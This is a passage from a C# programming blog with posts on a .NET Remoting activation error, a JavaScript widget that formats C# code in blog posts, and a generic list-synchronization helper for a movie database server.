PostNewComment(service, commentPostUri); ListEntryComments(service, commentPostUri); DeleteComment(commentEntry); Console.WriteLine("Press enter to quit"); Console.ReadLine(); } } }

Saturday, June 26, 2010

Remoting Exception "[...] is not registered for activation"

RemotingException "[...] is not registered for activation"

I had to write something about it, because I was stuck for a whole hour and couldn't google anything useful.

It happens when the Client is trying to create a new remoting class "X".
The Server, by mistake, registered a remoting class "Y".

The classes must have the same name. Fix the class name.
That's it.

Sunday, February 21, 2010

Add C# Code Formatter Widget To Your Blog

This widget formats all the C# code in your blog so it looks exactly like in Visual Studio.
It supports all the cases of string literals, comments, keywords and preprocessors. It has a huge list of all commonly used types, and it has some capability of learning new types (classes, enums, interfaces, structs) from your code.
Try it now online! - OR - Add it to your blog:
Note: the widget is for lazy people like me, if you want you can add the formatting script to your HTML Layout manually.

Here is a simple example:
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;

namespace exp1
{
    class Program
    {
        public static void Main(string[] args)
        {
            Console.WriteLine("Hello, world!");
        }
    }
}

This is what the author sees when writing the post:
<pre formatcs="1">using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;

namespace exp1
{
    class Program
    {
        public static void Main(string[] args)
        {
            Console.WriteLine("Hello, world!");
        }
    }
}</pre>

So how does it work?
The script scans the page looking for <pre> elements with the attribute formatcs=1. Each element is then formatted as C# code.
The <pre> tag was chosen for a reason - if the user doesn't have JavaScript supported, then the <pre> tag is the best way to show code in a blog.

Here is a more advanced example:
[XmlRoot("Node")]
class MyNode<T> : MyBaseClass<T>
    where T : Dictionary<List<T>, int>, ISerializable
{
    MyNode MyNode = new SuperNode();
    
    /// <summary>   *
    /// comment2... *
    /// </summary>  *
    MyType1 foo(out MyType2 x)
    {
        x = MyType1.StaticFunction(@"c:\");
        Console.WriteLine(" aaaa \" \\\" \\\\");
        return new T();
    }
}
Note that these classes are being deduced by reading the code: MyNode, MyBaseClass, SuperNode, MyType1, MyType2.
Note that "T" is not styled as a type, exactly as in Visual Studio.

OK OK! I'm convinced! How do I add this widget to my blog?
Simply by clicking here:
- Or - You can use the online version here:
formatmycsharpcode.blogspot.com

For more information refer to this wiki page.

Saturday, February 20, 2010

Use JavaScript to Format C# Code to HTML

To format C# code online go here.
To add it as a widget go to this post.
To get the most recent source code go here.

Example of how it looks:
using System.Xml.Serialization;

namespace foo
{
    public partial class Form1<AAA> : Form
    {
        void bar<T, R, L>(int k, Form1 f)
            where T : ISerializable
            where R : Dictionary<string, List<Form1>>, ISerializable
        {
            Form1 Form1 = new Form1();
        }
    }
}

I wrote a script in JavaScript to format C# Code.
I needed such a script because I didn't like the old way of copying the code to Microsoft Word, then to Blogger, and then looking for and removing all the <META> and <LINK> tags that Blogger doesn't accept.
Before I did that, I looked on the Internet, and I found this wonderful site: http://www.manoli.net/csharpformat
But it doesn't handle strings very well, and doesn't recognize types.

For example, the expression 'string path = @"c:\";' returns:
<span class="kwrd">string</span> path = @"c:\";
Which means the string is black instead of red.
About types, I think it's not supported at all.
I downloaded their source code and I found some useful things for my code.

I used more accurate regular expressions to identify strings:
// backslash slash before the end using @
string path = @"c:\";
// even number of backslashes means no backslash
string x = " \" \\\" \\\\";
/* support for multi line
   comments and strings
*/
string y = @" begin
                end";
/// <summary> This kind is also supported
/// </summary>

Formatting strings, comments and keywords is no big deal, but what about types?
Sometimes you don't know if something is a type or a variable, for example:
Something.DoIt();
(There is a way of telling the script that "Something" is a type, and it will be explained later)
It could be a field or a property called "Something", or it could be a class called "Something" and in that case "DoIt" would be a static function.
But sometimes you do know that something is a type, and it worth remembering it for the future:
class Something { } // here the script identifies "Something" as a type
Something.DoIt(); // here it uses the information from earlier

But what about "Application.DoEvents()" ?
In that case the script has a list of common types:
Application.DoEvents();

I compiled this list using this code:
static string GetAllTypes()
{
    string regex = "";
    foreach (Assembly asm in AppDomain.CurrentDomain.GetAssemblies())
    {
        foreach (Type type in asm.GetTypes())
        {
            string name = new Regex("(`.*)").Replace(type.Name, "");
            if (new Regex("^[A-Za-z0-9]+$").IsMatch(name))
            {
                regex += name + "|";
                Match match = new Regex("^(.+)Attribute$").Match(name);
                if (match.Success){
                    regex += match.Groups[1].Value + "|";
                }
            }
        }
    }
    return regex;
}

Sometimes the long list affects the loading time of the blog, so I have another manually written list that has the most commonly used types like: List, EventArgs, ...
Note that the shorter list doesn't necessarily mean the script wont recognize any types, that is because it learns the types from the code itself (as shown in the example above).

In order to use the script you need to write the following code:
<pre formatcs=1>
your code here
</pre>

If the script doesn't recognize a type from some reason, like in the in example of "Something.DoIt()" case, then you can instruct the script to recognize it by adding a new attribute called "types":
<pre formatcs=1 types="Something">
Something.DoIt();
</pre>
And the result:
Something.DoIt();
The types attribute accepts a list of type names, and it can be separated by comma, white space, anything.

The script can handle generics - means it doesn't paint it like in here:
class MyClass<T>
{
    List<T> x = new List<T>();
}

However, there might be cases where the class definition is missing, and then T might be mistaken for type:
x = new T();

Another issue with generics and more specifically with the "<" sign is that you have to write "&lt;", otherwise Blogger is going crazy adding all sorts of strange ending tags to the posts. This behavior is not caused by the script, but it does keep it from working correctly. I don't know how it behaves on other blogging sites, but I tested the script offline on my computer it works with normal "<" too.

I plan to make a gadget that adds this functionality to a blog. I will call it "C# Code Formatter".
But in the meantime the script can be used from here:
jscsharpformatter.googlecode.com

I added a new "HTML/JavaScript" gadget on the bottom of the page with the following code:
<script type="text/javascript" src="http://sites.google.com/site/ycouriel/files/csharp_formatter_normal.js">
</script>
<script type="text/javascript">
var howmany = findAndFormatCSharp();
document.write(howmany + " c# code elements were formatted");
</script>

Feedback is very welcome!

Thursday, February 18, 2010

Version Synchronization

I wrote a server for my MegaCollection software.
Each member of the family can upload new movies and TV series, and edit, delete and rate existing items. The server is used to store this data and support versions synchronization.

Each item has a quite complex data structure including names of actors, image, IMDB identifier, etc. TV series has Seasons, and they have Episodes, and the list is long...
 I'll ignore all of this and assume the following:
  • The Database is a list of Movies
  • Each Movie has a list of DownloadVersions
  • Movies and DownloadVersions have some data inside
Now we have the serverDatabase and the userDatabase.The user can edit his database offline. Other users can do this too.
So we can't assume anything about the databases apart from their correctness.

How do we produce a synchronized database?

I decided to define an interface that all synchronized objects must implement:


interface ISyncObject
{
    string ID { get; }
    DateTime Timestamp { get; }
}

We also need the following information:

DateTime lastSuccessfulSynchronizationWithServer;

This should be enough information to handle all of the following cases:
  1. User added a new Movie
  2. Other user added a new Movie
  3. User deleted a Movie
  4. Other user deleted a Movie
  5. User modified data inside a Movie
  6. Other user modified data inside a Movie
  7. User added a new DownloadVersion
  8. Other user added a new DownloadVersion
  9. User deleted a DownloadVersion
  10. Other user deleted a DownloadVersion
  11. User modified data inside a DownloadVersion
  12. Other user modified data inside a DownloadVersion
Note that cases 7 to 12 happen only if two Movies has the same ID and Timestamp. This case is referred to as "Merging" of the two Movies.

I wrote a synchronization function that considers all the cases 1 to 6. When a merging is required, this function is called again on the DownloadVersions.

Here is the function signature:

static class SyncHelper<T> where T : class, ISyncObject
{
 public static void SynchronizeLists(
  List<T> serverList,
  List<T> userList,
  DateTime lastSuccessfulSynchronizationWithServer,  
  MergeObjectsDelegate mergeObjectsMethod
  )
 {
   // code
 }
}

Assuming this functions works, we can synchronize the database using the following code:

  

static void SynchronizeDatabase(Database serverDatabase, Database userDatabase)
{
    SyncHelper<Movie>.SynchronizeLists(
        serverDatabase.movies,
        userDatabase.movies,
        userDatabase.lastSuccessfulSynchronizationWithServer,
        MergeMovies
        );
    userDatabase.lastSuccessfulSynchronizationWithServer = DateTime.Now;
}
static Movie MergeMovies(Movie serverMovie, Movie userMovie, DateTime lastSuccessfulSynchronizationWithServer)
{
    SyncHelper<DownloadVersion>.SynchronizeLists(
        serverMovie.DownloadVersions,
        userMovie.DownloadVersions,
        lastSuccessfulSynchronizationWithServer,
        MergeDownloadVersions
        );
    // add code to merge other movie data
    return serverMovie;
}
static DownloadVersion MergeDownloadVersions(DownloadVersion serverDownloadVersion, DownloadVersion userDownloadVersion, DateTime lastSuccessfulSynchronizationWithServer)
{
    // add code to merge download versions data
    return mergedDownloadVersion;
}

The purpose of this was to prove it is a quite handy function. I use it in my server to synchronize several types of classes and it works flawlessly.
Here is the full class:

  


static class SyncHelper where T : class, ISyncObject
{
    public delegate T MergeObjectsDelegate(T serverObject, T userObject, DateTime lastSuccessfulSynchronizationWithServer);
    private static Dictionary<string, T> ListToDictionaryByID(List list)
    {
        Dictionary<string, T> dic = new Dictionary<string, T>();
        foreach (T obj in list)
        {
            dic[obj.ID] = obj;
        }
        return dic;
    }
    public static void SynchronizeLists(List serverList, List userList, DateTime lastSuccessfulSynchronizationWithServer)
    {
        // call original function, on merging always take server's object
        SynchronizeLists(serverList, userList, lastSuccessfulSynchronizationWithServer, delegate(T obj1, T obj2, DateTime timestamp) { return null; });
    }
    public static void SynchronizeLists(List serverList, List userList, DateTime lastSuccessfulSynchronizationWithServer, MergeObjectsDelegate mergeObjectsMethod)
    {
        // note that objects that were added by other user will be
        // updated at current user because we are sending him serverList
        string tname = typeof(T).Name;
        Dictionary<string, T> serverObjectByID = ListToDictionaryByID(serverList);
        Dictionary<string, T> userObjectByID = ListToDictionaryByID(userList);
        // look for objects that user deleted
        for (int i = serverList.Count - 1; i >= 0; --i)
        {
            T serverObject = serverList[i];
            //l.Debug("Checking server's", tname, serverObject);
            if (!userObjectByID.ContainsKey(serverObject.ID) &&
                serverObject.Timestamp < lastSuccessfulSynchronizationWithServer)
            {
                // if user doesn't have this object, but he should have it
                // then he deleted it after previous synchronization
                //l.Debug("User deleted this", tname, ", removing from server:", serverObject);
                serverList.RemoveAt(i);
                serverObjectByID.Remove(serverObject.ID);
            }
        }
        foreach (T userObject in userList)
        {
            //l.Debug("Checking user's", tname, userObject);
            if (!serverObjectByID.ContainsKey(userObject.ID))
            {
                // user has an object which doesn't exist at the server's list
                // check timestamps
                if (userObject.Timestamp > lastSuccessfulSynchronizationWithServer)
                {
                    // user added a new object after previous synchronization
                    //l.Debug("This", tname, "is new. Adding to server's list:", userObject);
                    serverList.Add(userObject);
                }
                else
                {
                    // this movie was deleted by other user
                    // the current user will get the new list without this object
                    //l.Debug("This", tname, "was deleted by other user:", userObject);
                }
            }
            else
            {
                // both server and user has this object
                T serverObject = serverObjectByID[userObject.ID];
                //l.Debug("This", tname, "already exists in server database:", serverObject);
                if (serverObject.Timestamp > userObject.Timestamp)
                {
                    // the object was updated by other user
                    // ignore user's object, he will get the new version
                    //l.Debug("Server", tname, "is newer than user's:", serverObject);
                    if (userObject.Timestamp > lastSuccessfulSynchronizationWithServer)
                    {
                        l.Warn("Possible conflict between server and user objects: Server object is newer, but User object was modified after previous synchronization:", userObject);
                    }
                }
                else if (serverObject.Timestamp < userObject.Timestamp)
                {
                    // user deleted the object and then added it again
                    // remove server's copy and replace it with user's
                    //l.Debug("User", tname, "is newer than server's:", userObject);
                    serverList.Remove(serverObject);
                    serverList.Add(userObject);
                    if (serverObject.Timestamp > lastSuccessfulSynchronizationWithServer)
                    {
                        l.Warn("Possible conflict between server and user objects: User object is newer, but Server object was modified after previous synchronization:", userObject);
                    }
                }
                else
                {
                    // both server and user has this movie and:
                    // serverObject.Timestamp == userObject.Timestamp
                    //l.Debug("Server and user have the same", tname, "and with equal timestamps, merging is required:", userObject);
                    T mergedObject = mergeObjectsMethod(serverObject, userObject, lastSuccessfulSynchronizationWithServer);
                    if (mergedObject != null)
                    {
                        serverList.Remove(serverObject);
                        serverList.Add(mergedObject);
                    }
                }
            }
        }
    }
}